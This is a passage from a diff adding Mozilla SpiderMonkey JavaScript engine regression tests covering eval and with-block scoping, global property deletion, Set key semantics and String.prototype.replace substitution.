+status = inSection(2);
+var f = b();
+actual = f();
+expect = 'B';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-446026-01.js b/js/src/tests/non262/Scope/regress-446026-01.js
new file mode 100644
index 0000000000..fa108b4445
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-446026-01.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446026;
+var summary = 'brian loves eval(s, o)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var b = 45;
+
+// Getting "private" variables
+ var obj = (function() {
+ var a = 21;
+ return {
+ // public function must reference 'a'
+ fn: function() {a;}
+ };
+ })();
+
+expect = 'ReferenceError: a is not defined | undefined | 45';
+actual = '';
+
+var foo;
+
+try {
+ eval('bar = b; foo=a', obj.fn);
+} catch (e) {
+ actual = e;
+}
+print(actual += " | " + foo + " | " + bar); // 21
+reportCompare(expect, actual, summary);
+
+expect = 'No Error';
+actual = 'No Error';
+
+try
+{
+ eval("", {print:1});
+ print(1);
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Scope/regress-446026-02.js b/js/src/tests/non262/Scope/regress-446026-02.js
new file mode 100644
index 0000000000..1a15b25e07
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-446026-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446026;
+var summary = 'brian loves eval(s, o)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'locallocal';
+
+var x = "global";
+(function() {
+ var x = "local";
+ (function() {
+ actual = x;
+ eval("", {});
+ actual += x;
+ })();
+})();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Scope/regress-77578-001.js b/js/src/tests/non262/Scope/regress-77578-001.js
new file mode 100644
index 0000000000..a9d7e83f17
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-77578-001.js
@@ -0,0 +1,114 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-11
+ *
+ * SUMMARY: Testing eval scope inside a function.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=77578
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 77578;
+var summary = 'Testing eval scope inside a function';
+var cnEquals = '=';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+// Note contrast with local variables i,j,k defined below -
+var i = 999;
+var j = 999;
+var k = 999;
+
+
+//--------------------------------------------------
+test();
+//--------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ testA();
+ testB();
+ testC();
+
+ // Compare actual values to expected values -
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function testA()
+{
+ // eval the test, so it compiles AFTER version() has executed -
+ var sTestScript = "";
+
+ // Define a local variable i
+ sTestScript += "status = 'Section A of test';";
+ sTestScript += "var i=1;";
+ sTestScript += "actual = eval('i');";
+ sTestScript += "expect = 1;";
+ sTestScript += "captureThis('i');";
+
+ eval(sTestScript);
+}
+
+
+function testB()
+{
+ // eval the test, so it compiles AFTER version() has executed -
+ var sTestScript = "";
+
+ // Define a local for-loop iterator j
+ sTestScript += "status = 'Section B of test';";
+ sTestScript += "for(var j=1; j<2; j++)";
+ sTestScript += "{";
+ sTestScript += " actual = eval('j');";
+ sTestScript += "};";
+ sTestScript += "expect = 1;";
+ sTestScript += "captureThis('j');";
+
+ eval(sTestScript);
+}
+
+
+function testC()
+{
+ // eval the test, so it compiles AFTER version() has executed -
+ var sTestScript = "";
+
+ // Define a local variable k in a try-catch block -
+ sTestScript += "status = 'Section C of test';";
+ sTestScript += "try";
+ sTestScript += "{";
+ sTestScript += " var k=1;";
+ sTestScript += " actual = eval('k');";
+ sTestScript += "}";
+ sTestScript += "catch(e)";
+ sTestScript += "{";
+ sTestScript += "};";
+ sTestScript += "expect = 1;";
+ sTestScript += "captureThis('k');";
+
+ eval(sTestScript);
+}
+
+
+function captureThis(varName)
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = varName + cnEquals + actual;
+ expectedvalues[UBound] = varName + cnEquals + expect;
+ UBound++;
+}
diff --git a/js/src/tests/non262/Scope/scope-002.js b/js/src/tests/non262/Scope/scope-002.js
new file mode 100644
index 0000000000..c0c9c764a0
--- /dev/null
+++ b/js/src/tests/non262/Scope/scope-002.js
@@ -0,0 +1,105 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-02
+ *
+ * SUMMARY: Testing visibility of outer function from inner function.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing visibility of outer function from inner function';
+var cnCousin = 'Fred';
+var cnColor = 'red';
+var cnMake = 'Toyota';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// TEST 1
+function Outer()
+{
+
+ function inner()
+ {
+ Outer.cousin = cnCousin;
+ return Outer.cousin;
+ }
+
+ status = 'Section 1 of test';
+ actual = inner();
+ expect = cnCousin;
+ addThis();
+}
+
+
+Outer();
+status = 'Section 2 of test';
+actual = Outer.cousin;
+expect = cnCousin;
+addThis();
+
+
+
+// TEST 2
+function Car(make)
+{
+ this.make = make;
+ Car.prototype.paint = paint;
+
+ function paint()
+ {
+ Car.color = cnColor;
+ Car.prototype.color = Car.color;
+ }
+}
+
+
+var myCar = new Car(cnMake);
+status = 'Section 3 of test';
+actual = myCar.make;
+expect = cnMake;
+addThis();
+
+
+myCar.paint();
+status = 'Section 4 of test';
+actual = myCar.color;
+expect = cnColor;
+addThis();
+
+
+
+//--------------------------------------------------
+test();
+//--------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/scope-003.js b/js/src/tests/non262/Scope/scope-003.js
new file mode 100644
index 0000000000..5f26926862
--- /dev/null
+++ b/js/src/tests/non262/Scope/scope-003.js
@@ -0,0 +1,106 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-03
+ *
+ * SUMMARY: Testing scope with nested functions
+ *
+ * From correspondence with Christopher Oliver <coliver@mminternet.com>:
+ *
+ * > Running this test with Rhino produces the following exception:
+ * >
+ * > uncaught JavaScript exception: undefined: Cannot find default value for
+ * > object. (line 3)
+ * >
+ * > This is due to a bug in org.mozilla.javascript.NativeCall which doesn't
+ * > implement toString or valueOf or override getDefaultValue.
+ * > However, even after I hacked in an implementation of getDefaultValue in
+ * > NativeCall, Rhino still produces a different result then SpiderMonkey:
+ * >
+ * > [object Call]
+ * > [object Object]
+ * > [object Call]
+ *
+ * Note the results should be:
+ *
+ * [object global]
+ * [object Object]
+ * [object global]
+ *
+ * This is what we are checking for in this testcase -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing scope with nested functions';
+var statprefix = 'Section ';
+var statsuffix = ' of test -';
+var self = this; // capture a reference to the global object;
+var cnGlobal = self.toString();
+var cnObject = (new Object).toString();
+var statusitems = [];
+var actualvalues = [];
+var expectedvalues = [];
+
+
+function a()
+{
+ function b()
+ {
+ capture(this.toString());
+ }
+
+ this.c = function()
+ {
+ capture(this.toString());
+ b();
+ }
+
+ b();
+}
+
+
+var obj = new a(); // captures actualvalues[0]
+obj.c(); // captures actualvalues[1], actualvalues[2]
+
+
+// The values we expect - see introduction above -
+expectedvalues[0] = cnGlobal;
+expectedvalues[1] = cnObject;
+expectedvalues[2] = cnGlobal;
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function capture(val)
+{
+ actualvalues[UBound] = val;
+ statusitems[UBound] = getStatus(UBound);
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + i + statsuffix;
+}
diff --git a/js/src/tests/non262/Scope/scope-004.js b/js/src/tests/non262/Scope/scope-004.js
new file mode 100644
index 0000000000..46928e6939
--- /dev/null
+++ b/js/src/tests/non262/Scope/scope-004.js
@@ -0,0 +1,188 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-16
+ *
+ * SUMMARY: Testing visiblity of variables from within a with block.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90325
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90325;
+var summary = 'Testing visiblity of variables from within a with block';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+// (compare local definitions which follow) -
+var A = 'global A';
+var B = 'global B';
+var C = 'global C';
+var D = 'global D';
+
+// an object with 'C' and 'D' properties -
+var objTEST = new Object();
+objTEST.C = C;
+objTEST.D = D;
+
+
+status = 'Section 1 of test';
+with (new Object())
+{
+ actual = A;
+ expect = 'global A';
+}
+addThis();
+
+
+status = 'Section 2 of test';
+with (Function)
+{
+ actual = B;
+ expect = 'global B';
+}
+addThis();
+
+
+status = 'Section 3 of test';
+with (this)
+{
+ actual = C;
+ expect = 'global C';
+}
+addThis();
+
+
+status = 'Section 4 of test';
+localA();
+addThis();
+
+status = 'Section 5 of test';
+localB();
+addThis();
+
+status = 'Section 6 of test';
+localC();
+addThis();
+
+status = 'Section 7 of test';
+localC(new Object());
+addThis();
+
+status = 'Section 8 of test';
+localC.apply(new Object());
+addThis();
+
+status = 'Section 9 of test';
+localC.apply(new Object(), [objTEST]);
+addThis();
+
+status = 'Section 10 of test';
+localC.apply(objTEST, [objTEST]);
+addThis();
+
+status = 'Section 11 of test';
+localD(new Object());
+addThis();
+
+status = 'Section 12 of test';
+localD.apply(new Object(), [objTEST]);
+addThis();
+
+status = 'Section 13 of test';
+localD.apply(objTEST, [objTEST]);
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+// contains a with(new Object()) block -
+function localA()
+{
+ var A = 'local A';
+
+ with(new Object())
+ {
+ actual = A;
+ expect = 'local A';
+ }
+}
+
+
+// contains a with(Number) block -
+function localB()
+{
+ var B = 'local B';
+
+ with(Number)
+ {
+ actual = B;
+ expect = 'local B';
+ }
+}
+
+
+// contains a with(this) block -
+function localC(obj)
+{
+ var C = 'local C';
+
+ with(this)
+ {
+ actual = C;
+ }
+
+ if ('C' in this)
+ expect = this.C;
+ else
+ expect = 'local C';
+}
+
+
+// contains a with(obj) block -
+function localD(obj)
+{
+ var D = 'local D';
+
+ with(obj)
+ {
+ actual = D;
+ }
+
+ if ('D' in obj)
+ expect = obj.D;
+ else
+ expect = 'local D';
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/shell.js b/js/src/tests/non262/Scope/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Scope/shell.js
diff --git a/js/src/tests/non262/Script/browser.js b/js/src/tests/non262/Script/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Script/browser.js
diff --git a/js/src/tests/non262/Script/delete-001.js b/js/src/tests/non262/Script/delete-001.js
new file mode 100644
index 0000000000..197a7c7277
--- /dev/null
+++ b/js/src/tests/non262/Script/delete-001.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: delete-001.js
+ Section: regress
+ Description:
+
+ Regression test for
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=108736
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "JS1_2";
+var TITLE = "The variable statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// delete all properties of the global object
+// per ecma, this does not affect variables in the global object declared
+// with var or functions
+
+for ( p in this ) {
+ delete p;
+}
+
+var result ="";
+
+for ( p in this ) {
+ result += String( p );
+}
+
+// not too picky here... just want to make sure we didn't crash or something
+
+new TestCase( "delete all properties of the global object",
+ "PASSED",
+ result == "" ? "FAILED" : "PASSED" );
+
+
+test();
+
diff --git a/js/src/tests/non262/Script/function-002.js b/js/src/tests/non262/Script/function-002.js
new file mode 100644
index 0000000000..ad99b6d5ef
--- /dev/null
+++ b/js/src/tests/non262/Script/function-002.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: function-002.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=249579
+
+ function definitions in conditional statements should be allowed.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "function-002";
+var TITLE = "Regression test for 249579";
+var BUGNUMBER="249579";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "0?function(){}:0",
+ 0,
+ 0?function(){}:0 );
+
+
+bar = true;
+foo = bar ? function () { return true; } : function() { return false; };
+
+new TestCase(
+ "bar = true; foo = bar ? function () { return true; } : function() { return false; }; foo()",
+ true,
+ foo() );
+
+
+test();
+
diff --git a/js/src/tests/non262/Script/in-001.js b/js/src/tests/non262/Script/in-001.js
new file mode 100644
index 0000000000..dc7b68fa04
--- /dev/null
+++ b/js/src/tests/non262/Script/in-001.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: in-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=196109
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "in-001";
+var TITLE = "Regression test for 196109";
+var BUGNUMBER="196109";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+o = {};
+o.foo = 'sil';
+
+new TestCase(
+ "\"foo\" in o",
+ true,
+ "foo" in o );
+
+test();
diff --git a/js/src/tests/non262/Script/new-001.js b/js/src/tests/non262/Script/new-001.js
new file mode 100644
index 0000000000..e1ef060504
--- /dev/null
+++ b/js/src/tests/non262/Script/new-001.js
@@ -0,0 +1,79 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: new-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=76103
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "new-001";
+var TITLE = "new-001";
+var BUGNUMBER="31567";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Test_One (x) {
+ this.v = x+1;
+ return x*2
+ }
+
+function Test_Two( x, y ) {
+ this.v = x;
+ return y;
+}
+
+new TestCase(
+ "Test_One(18)",
+ 36,
+ Test_One(18) );
+
+new TestCase(
+ "new Test_One(18)",
+ "[object Object]",
+ new Test_One(18) +"" );
+
+new TestCase(
+ "new Test_One(18).v",
+ 19,
+ new Test_One(18).v );
+
+new TestCase(
+ "Test_Two(2,7)",
+ 7,
+ Test_Two(2,7) );
+
+new TestCase(
+ "new Test_Two(2,7)",
+ "[object Object]",
+ new Test_Two(2,7) +"" );
+
+new TestCase(
+ "new Test_Two(2,7).v",
+ 2,
+ new Test_Two(2,7).v );
+
+new TestCase(
+ "new (Function)(\"x\", \"return x+3\")(5,6)",
+ 8,
+ new (Function)("x","return x+3")(5,6) );
+
+new TestCase(
+ "new new Test_Two(String, 2).v(0123)",
+ "83",
+ new new Test_Two(String, 2).v(0123) +"");
+
+new TestCase(
+ "new new Test_Two(String, 2).v(0123).length",
+ 2,
+ new new Test_Two(String, 2).v(0123).length );
+
+test();
diff --git a/js/src/tests/non262/Script/shell.js b/js/src/tests/non262/Script/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Script/shell.js
diff --git a/js/src/tests/non262/Script/switch-001.js b/js/src/tests/non262/Script/switch-001.js
new file mode 100644
index 0000000000..5642d0c1bf
--- /dev/null
+++ b/js/src/tests/non262/Script/switch-001.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: switch-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=315767
+
+ Verify that switches do not use strict equality in
+ versions of JavaScript < 1.4
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "switch-001";
+var TITLE = "switch-001";
+var BUGNUMBER="315767";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+result = "fail: did not enter switch";
+
+switch (true) {
+case 1:
+ result = "fail: for backwards compatibility, version 130 use strict equality";
+ break;
+case true:
+ result = "pass";
+ break;
+default:
+ result = "fail: evaluated default statement";
+}
+
+new TestCase(
+ "switch / case should use strict equality in version of JS < 1.4",
+ "pass",
+ result );
+
+
+
+test();
+
diff --git a/js/src/tests/non262/Set/NaN-as-key.js b/js/src/tests/non262/Set/NaN-as-key.js
new file mode 100644
index 0000000000..8c9207e886
--- /dev/null
+++ b/js/src/tests/non262/Set/NaN-as-key.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 722260;
+var summary = 'All NaNs must be treated as identical keys for Set';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/* Avoid constant-folding that would happen were |undefined| to be used. */
+var key = -/a/g.missingProperty;
+
+var s = new Set();
+s.add(key, 17);
+assertEq(s.has(key), true);
+assertEq(s.has(-key), true);
+assertEq(s.has(NaN), true);
+
+s.delete(-key);
+assertEq(s.has(key), false);
+assertEq(s.has(-key), false);
+assertEq(s.has(NaN), false);
+
+s.add(-key, 17);
+assertEq(s.has(key), true);
+assertEq(s.has(-key), true);
+assertEq(s.has(NaN), true);
+
+s.delete(NaN);
+assertEq(s.has(key), false);
+assertEq(s.has(-key), false);
+assertEq(s.has(NaN), false);
+
+s.add(NaN, 17);
+assertEq(s.has(key), true);
+assertEq(s.has(-key), true);
+assertEq(s.has(NaN), true);
+
+s.delete(key);
+assertEq(s.has(key), false);
+assertEq(s.has(-key), false);
+assertEq(s.has(NaN), false);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Set/browser.js b/js/src/tests/non262/Set/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Set/browser.js
diff --git a/js/src/tests/non262/Set/forEach-selfhosted-behavior.js b/js/src/tests/non262/Set/forEach-selfhosted-behavior.js
new file mode 100644
index 0000000000..37c87feefb
--- /dev/null
+++ b/js/src/tests/non262/Set/forEach-selfhosted-behavior.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 987243;
+var summary = "Don't use .call(...) in the self-hosted Set.prototype.forEach";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var functionCall = Function.prototype.call;
+
+function throwSyntaxError()
+{
+ throw new SyntaxError("Function.prototype.call incorrectly called");
+}
+
+function lalala() {}
+
+Function.prototype.call = throwSyntaxError;
+
+new Set().forEach(throwSyntaxError);
+new Set([1]).forEach(lalala);
+new Set([{}, 4]).forEach(lalala);
+
+Function.prototype.call = function() { this.add(3.141592654); };
+
+new Set().forEach(throwSyntaxError);
+new Set(["foo"]).forEach(lalala);
+new Set([undefined, NaN]).forEach(lalala);
+
+var callCount = 0;
+Function.prototype.call = function() { callCount++; };
+
+new Set().forEach(throwSyntaxError);
+new Set([new Number]).forEach(lalala);
+new Set([true, new Boolean(false)]).forEach(lalala);
+
+assertEq(callCount, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Set/getter-name.js b/js/src/tests/non262/Set/getter-name.js
new file mode 100644
index 0000000000..9a3e84fa45
--- /dev/null
+++ b/js/src/tests/non262/Set/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'Set getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Set, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(Set.prototype, "size").get.name, "get size");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Set/iterator-thisv-error.js b/js/src/tests/non262/Set/iterator-thisv-error.js
new file mode 100644
index 0000000000..b2b59808e3
--- /dev/null
+++ b/js/src/tests/non262/Set/iterator-thisv-error.js
@@ -0,0 +1,22 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+function test(fn, thisv) {
+ var message;
+ try {
+ fn.call(thisv);
+ } catch (e) {
+ message = e.message;
+ }
+
+ assertEq(/^values method called on incompatible.+/.test(message), true);
+}
+
+for (var thisv of [null, undefined, false, true, 0, ""]) {
+ test(Set.prototype.values, thisv);
+ test(Set.prototype.keys, thisv);
+ test(Set.prototype[Symbol.iterator], thisv);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Set/non-iterable-error.js b/js/src/tests/non262/Set/non-iterable-error.js
new file mode 100644
index 0000000000..7781993fd2
--- /dev/null
+++ b/js/src/tests/non262/Set/non-iterable-error.js
@@ -0,0 +1,10 @@
+// Self-hosted JS code shouldn't be used for error message.
+
+try {
+ new Set(...[1]);
+} catch (e) {
+ assertEq(e.message, "1 is not iterable");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Set/shell.js b/js/src/tests/non262/Set/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Set/shell.js
diff --git a/js/src/tests/non262/Set/symbols.js b/js/src/tests/non262/Set/symbols.js
new file mode 100644
index 0000000000..72a00c943f
--- /dev/null
+++ b/js/src/tests/non262/Set/symbols.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var s = new Set;
+
+// Symbols can be stored in Sets.
+var sym = Symbol();
+s.add(sym);
+assertEq(s.has(sym), true);
+assertEq(s.has(Symbol()), false);
+assertEq([...s][0], sym);
+s.add(sym);
+assertEq(s.has(sym), true);
+assertEq(s.size, 1);
+s.delete(sym);
+assertEq(s.has(sym), false);
+assertEq(s.size, 0);
+
+// Symbols returned by Symbol.for() can be in Sets.
+var str = "how much wood would a woodchuck chuck if a woodchuck could chuck wood";
+var s2 = "how much wood would a woodchuck chuck if could";
+var arr = str.split(" ").map(Symbol.for);
+s = new Set(arr);
+assertDeepEq([...s], s2.split(" ").map(Symbol.for));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/String/15.5.4.11-01.js b/js/src/tests/non262/String/15.5.4.11-01.js
new file mode 100644
index 0000000000..2125cbf829
--- /dev/null
+++ b/js/src/tests/non262/String/15.5.4.11-01.js
@@ -0,0 +1,66 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 587366;
+var summary = "String.prototype.replace with non-regexp searchValue";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+/*
+ * Check that regexp statics are preserved across the whole test.
+ * If the engine is trying to cheat by turning stuff into regexps,
+ * we should catch it!
+ */
+/(a|(b)|c)+/.exec('abcabc');
+var before = {
+ "source" : RegExp.source,
+ "$`": RegExp.leftContext,
+ "$'": RegExp.rightContext,
+ "$&": RegExp.lastMatch,
+ "$1": RegExp.$1,
+ "$2": RegExp.$2
+};
+
+var text = 'I once was lost but now am found.';
+var searchValue = 'found';
+var replaceValue;
+
+/* Lambda substitution. */
+replaceValue = function(matchStr, matchStart, textStr) {
+ assertEq(matchStr, searchValue);
+ assertEq(matchStart, 27);
+ assertEq(textStr, text);
+ return 'not watching that show anymore';
+}
+var result = text.replace(searchValue, replaceValue);
+assertEq(result, 'I once was lost but now am not watching that show anymore.');
+
+/* Dollar substitution. */
+replaceValue = "...wait, where was I again? And where is all my $$$$$$? Oh right, $`$&$'" +
+ " But with no $$$$$$"; /* Note the dot is not replaced and trails the end. */
+result = text.replace(searchValue, replaceValue);
+assertEq(result, 'I once was lost but now am ...wait, where was I again?' +
+ ' And where is all my $$$? Oh right, I once was lost but now am found.' +
+ ' But with no $$$.');
+
+/* Missing capture group dollar substitution. */
+replaceValue = "$1$&$2$'$3";
+result = text.replace(searchValue, replaceValue);
+assertEq(result, 'I once was lost but now am $1found$2.$3.');
+
+/* Check RegExp statics haven't been mutated. */
+for (var ident in before)
+ assertEq(RegExp[ident], before[ident]);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/15.5.4.2.js b/js/src/tests/non262/String/15.5.4.2.js
new file mode 100644
index 0000000000..46c7ccb69c
--- /dev/null
+++ b/js/src/tests/non262/String/15.5.4.2.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('String.prototype.toString.call(42)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call(true)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call({})'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call(null)'), true);
+assertEq(raisesException(TypeError)('String.prototype.toString.call([])'), true);
